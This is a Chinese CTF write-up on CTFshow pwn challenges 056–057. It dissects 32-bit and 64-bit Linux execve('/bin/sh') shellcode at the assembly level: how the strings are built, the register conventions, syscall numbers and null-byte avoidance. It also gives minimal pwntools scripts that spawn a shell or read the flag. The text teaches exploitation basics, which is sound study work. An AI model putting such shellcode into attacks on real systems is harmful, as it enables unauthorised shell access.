【CTFshow-pwn系列】03_栈溢出【pwn 056-057】详解:32位 与64位Shellcode 与 Linux 系统调用底层原理剖析

📅 发布时间:2026/7/13 13:07:26 👁️ 浏览次数:
【CTFshow-pwn系列】03_栈溢出【pwn 056-057】详解:32位 与64位Shellcode 与 Linux 系统调用底层原理剖析
【CTFshow-pwn系列】03_栈溢出【pwn 056】详解32位 Shellcode 与 Linux 系统调用底层原理剖析本文仅用于技术研究禁止用于非法用途。Author:枷锁在前面的关卡中我们经历了惊心动魄的栈溢出甚至手撕了出题人自定义的 Canary栈哨兵。来到PWN 056出题人画风突变不仅没有设下重重陷阱反而给出了一句返璞归真的提示“先了解一下简单的32位shellcode吧”。在二进制安全领域Shellcode就是我们攻城拔寨的终极武器。既然这关是基础教学局那我们就收起杀心带上放大镜从汇编的底层视角好好品鉴一下这段“看一眼就送 Shell”的代码。第一部分题目信息与环境侦察虚假的平静1. 检查保护机制 (checksec)~/Desktop .............................................................. at 22:34:38 checksec pwn [*] /home/shining/Desktop/pwn Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled -- 划重点 PIE: No PIE (0x8048000) Stripped: No原理解析看看这满屏的红色保护全关特别是NX disabled数据执行保护已关闭。这意味着不仅是代码段连堆栈上的数据都可以被当作指令来执行虽然这道题程序直接把后门喂到了我们嘴里但这正是经典 Shellcode 能够运行的完美温床。第二部分破局思路与静态分析硬核剖析将程序拖入 IDA Pro我们直接看start函数。1. 伪代码一览开局送屠龙刀void __noreturn start() { int v0; // eax char v1[10]; // [esp-Ch] [ebp-Ch] BYREF __int16 v2; // [esp-2h] [ebp-2h] v2 0; strcpy(v1, /bin///sh); v0 sys_execve(v1, 0, 0); // 直接调用系统 API 拿 Shell }破案了这题压根就没有输入输出也没有溢出点程序一启动就直接执行了sys_execve(/bin///sh, 0, 0)。 但这题的真正考点在于**“它是如何在汇编层面实现这一切的”**。我们切到汇编视图逐行硬核解剖。2. 深入核心手撕 32 位 Shellcode 汇编程序的真实面貌其实是一段极简的 x86 汇编代码.text:08048060 start proc near .text:08048060 push 68h ; h .text:08048062 push 732F2F2Fh ; s/// .text:08048067 push 6E69622Fh ; nib/ .text:0804806C mov ebx, esp ; ebx /bin///sh 的地址 .text:0804806E xor ecx, ecx ; ecx 0 .text:08048070 xor edx, edx ; edx 0 .text:08048072 push 0Bh .text:08048074 pop eax ; eax 11 (sys_execve) .text:08048075 int 80h ; 触发 Linux 系统调用 .text:08048075 start endp逻辑与原理解析系统调用的艺术字符串入栈压入/bin///sh 因为 x86 架构是小端序Little Endian字符串在内存中需要反着放。push 0x68压入h同时 32 位系统会在高位补 0即0x00000068这个自带的0x00完美地充当了 C 语言字符串的结束符\0push 0x732f2f2f压入s///的 HEX 码。push 0x6e69622f压入nib/的 HEX 码。(此时栈顶esp指向的正是这串字符的开头)配置寄存器参数准备execve 在 32 位 Linux 的int 0x80系统调用规范中参数是通过寄存器传递的ebx(参数1: 文件路径)mov ebx, esp直接把栈顶指针字符串地址塞给它。ecx(参数2: argv)xor ecx, ecx异或自身清零相当于NULL。edx(参数3: envp)xor edx, edx同理清零相当于NULL。拔出屠龙刀触发中断push 0xBpop eax将11放进eax寄存器。在 Linux 内核中11号系统调用就是大名鼎鼎的sys_execveint 0x80向 CPU 发送 0x80 中断信号内核接管程序执行开天辟地的execve(/bin///sh, NULL, NULL)。第三部分实战 EXP 编写与详解 (Pwntools 魔法)既然程序连交互都不需要就直接送上了 Shell我们的 EXP 自然也就是大道至简from pwn import * context.log_level debug io process(./pwn) # 什么都不用发直接拿 Shell / 读 Flag io.interactive()运行脚本享受绿色的$符号吧第四部分小白踩坑实录 (深入骨髓的教训)1. 为什么是/bin///sh而不是/bin/sh很多新手在看汇编时会产生巨大的疑惑“老师教我拿 Shell 都是执行/bin/sh这多出来的两个/是不是写代码的人手抖了”原理解析绝对不是手抖这是 Pwn 手在编写 32 位 Shellcode 时的经典凑字数技巧4字节对齐。 在 32 位系统中寄存器和栈操作每次最好是 4 个字节32 bit。正常的/bin/sh一共是 7 个字符。如果我们强行分段/bin(4字节) /sh(3字节)。3 字节压栈非常麻烦容易导致指令变长或者包含坏字符Badchars如\x00。但是在 Linux 系统中路径里的连续多个/等价于一个/所以前辈们巧妙地改成了/bin///sh正好 8 个字符完美分成两份 4 字节的数据nib/和s///极大简化了汇编指令。2. 为什么不用mov eax, 11而是用push 0xB和pop eax初学者可能会问给eax赋值 11直接mov eax, 11不好吗搞这么花里胡哨干嘛原理解析如果你编译mov eax, 11它的机器码是B8 0B 00 00 00。 看懂了吗里面包含了三个\x00截断符在很多栈溢出场景中输入函数如strcpy一旦遇到\x00就会停止复制导致你的 Shellcode 被拦腰斩断 而push 0xB(6A 0B) 配合pop eax(58)不仅实现了赋值机器码中完全没有\x00并且指令长度更短只有 2 字节 vs 5 字节堪称汇编艺术【CTFshow-pwn系列】03_栈溢出【pwn 057】详解AMD64 架构下 64位 Shellcode 的进阶之路Author:枷锁在上一关pwn 056中我们领略了 32 位 Shellcode 的极简之美。而这一关pwn 057我们将跨越到 64 位的世界。随着寄存器从e开头进化到r开头系统调用的传参方式和指令集也发生了翻天覆地的变化。如果你觉得 32 位只是“开胃菜”那么 64 位才是现代二进制安全真正的主战场。第一部分题目信息与环境侦察1. 检查保护机制 (checksec)~/Desktop .............................................................. at 12:58:10 checksec pwn [*] /home/shining/Desktop/pwn Arch: amd64-64-little -- 步入 64 位时代 RELRO: No RELRO Stack: No canary found NX: NX unknown -- GNU_STACK 缺失通常意味着栈可执行 PIE: No PIE (0x400000) Stack: Executable -- 确认栈可执行 Stripped: No原理解析题目明确显示为amd64-64-little这意味着我们需要遵循 x86-64 的系统调用约定System V AMD64 ABI。NX 保护缺失且提示Stack: Executable这简直是 Shellcode 执行的完美乐园。第二部分破局思路与静态分析硬核剖析将程序拖入 IDA Pro 64-bit直接定位到_start函数。1. 汇编代码硬核解剖程序几乎没有任何多余逻辑其核心就是一段教科书级别的 64 位 Shellcode.text:0000000000400080 _start proc near .text:0000000000400080 push rax .text:0000000000400081 xor rdx, rdx ; rdx 0 (envp) .text:0000000000400084 xor rsi, rsi ; rsi 0 (argv) .text:0000000000400087 mov rbx, 68732F2F6E69622Fh ; /bin//sh .text:0000000000400091 push rbx ; 字符串入栈 .text:0000000000400092 push rsp ; 压入当前栈顶地址 .text:0000000000400093 pop rdi ; rdi /bin//sh 地址 .text:0000000000400094 mov al, 3Bh ; rax 59 (sys_execve) .text:0000000000400096 syscall ; 触发 64 位系统调用 .text:0000000000400096 _start endp逻辑与原理解析64 位系统调用的核心差异寄存器传参的重构 在 64 位 Linux 中系统调用不再使用int 0x80而是使用更高效的syscall指令。参数传递顺序也发生了变化系统调用号存放在rax。参数 1存放在rdi对应 32 位的ebx。参数 2存放在rsi对应 32 位的ecx。参数 3存放在rdx对应 32 位的edx。字符串构造/bin//shmov rbx, 68732F2F6E69622Fh将/bin//sh的 8 字节 HEX 直接存入 64 位寄存器rbx。push rbx将这 8 字节压入栈中。push rsppop rdi这是一种非常巧妙的取地址方式。rsp此时指向栈顶的字符串通过压栈再弹给rdi成功让rdi指向了/bin//sh的内存地址。调用号的秘密mov al, 3Bh3B 是十六进制转换成十进制是59。关键点32 位下的execve调用号是 11而64 位下的execve调用号是 59。这是新手最容易搞混的地方第三部分实战 EXP 编写与详解 (Pwntools 魔法)针对 64 位环境我们需要在context中明确指定架构。from pwn import * # 基础配置arch 必须改为 amd64 context(archamd64, oslinux, log_leveldebug) io process(./pwn) print([*] 正在接收 64 位 Shell...) # 直接发送获取 flag 的指令 io.sendline(bcat /ctf*) # 接收并打印所有回显 try: print(io.recvall(timeout3).decode(errorsignore)) except EOFError: print([!] 提醒如果遇到 0B 接收请尝试在网页端重置题目环境)第四部分小白踩坑实录 (深入骨髓的教训)1.int 0x80与syscall的混淆很多习惯了 32 位的同学在写 64 位 Shellcode 时依然会下意识地写int 0x80。后果在 64 位模式下执行int 0x80虽然也能触发 32 位兼容模式的系统调用但由于寄存器对应关系如rax高位可能不为 0和调用号完全不同极易导致不可预知的崩溃。真理64 位请认准syscall2. 传参寄存器的“大换血”记住了eax,ebx,ecx不好意思在 64 位里它们失宠了。32 位eax(号),ebx,ecx,edx64 位rax(号),rdi,rsi,rdx如果把execve的第一个参数路径地址放到了rbx里而不是rdi里程序只会对着空地址发呆。3. 系统调用号的“背叛”这是最坑的一点同一功能在 32 位和 64 位下的调用号是不一样的execve: 32位是11 (0xB)64位是59 (0x3B)。read: 32位是364位是0。write: 32位是464位是1。 在写 64 位 Payload 前一定要查阅unistd_64.h确认调用号宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。